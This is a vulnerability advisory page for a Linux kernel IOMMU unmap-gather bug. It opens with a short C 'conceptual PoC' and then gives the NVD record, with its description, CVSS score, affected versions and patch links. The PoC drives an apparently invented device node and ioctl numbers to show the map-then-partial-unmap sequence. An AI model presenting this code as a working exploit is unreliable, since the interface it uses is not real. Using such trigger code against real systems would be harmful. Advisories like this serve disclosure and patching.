CVE-2026-31735

/* * Conceptual PoC for iommupt short gather vulnerability * This demonstrates the logic of mapping a large block and unmapping a middle chunk. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IOMMU_IOCTL_MAP 0x1 #define IOMMU_IOCTL_UNMAP 0x2 struct iommu_range { unsigned long start; unsigned long size; }; void trigger_vulnerability() { int fd = open("/dev/iommu_device", O_RDWR); if (fd < 0) { perror("Failed to open device"); return; } struct iommu_range map_range = {0x1000, 0x10000}; // Large mapping if (ioctl(fd, IOMMU_IOCTL_MAP, &map_range) < 0) { perror("Map failed"); close(fd); return; } // Unmap a range that ends in the middle of the large mapped block struct iommu_range unmap_range = {0x2000, 0x5000}; // This triggers the gather logic flaw if (ioctl(fd, IOMMU_IOCTL_UNMAP, &unmap_range) < 0) { perror("Unmap failed"); } close(fd); printf("PoC executed: Check kernel logs for invalidation issues.\n"); } int main() { trigger_vulnerability(); return 0; }

{"cve": {"id": "CVE-2026-31735", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:36.140", "lastModified": "2026-05-07T16:52:11.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommupt: Fix short gather if the unmap goes into a large mapping\n\nunmap has the odd behavior that it can unmap more than requested if the\nending point lands within the middle of a large or contiguous IOPTE.\n\nIn this case the gather should flush everything unmapped which can be\nlarger than what was requested to be unmapped. The gather was only\nflushing the range requested to be unmapped, not extending to the extra\nrange, resulting in a short invalidation if the caller hits this special\ncondition.\n\nThis was found by the new invalidation/gather test I am adding in\npreparation for ARMv8. Claude deduced the root cause.\n\nAs far as I remember nothing relies on unmapping a large entry, so this is\nlikely not a triggerable bug."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/50ecd96a28f712f8b682c0441f4cb9b086d28816", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ee6e69d032550687a3422504bfca3f834c7b5061", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}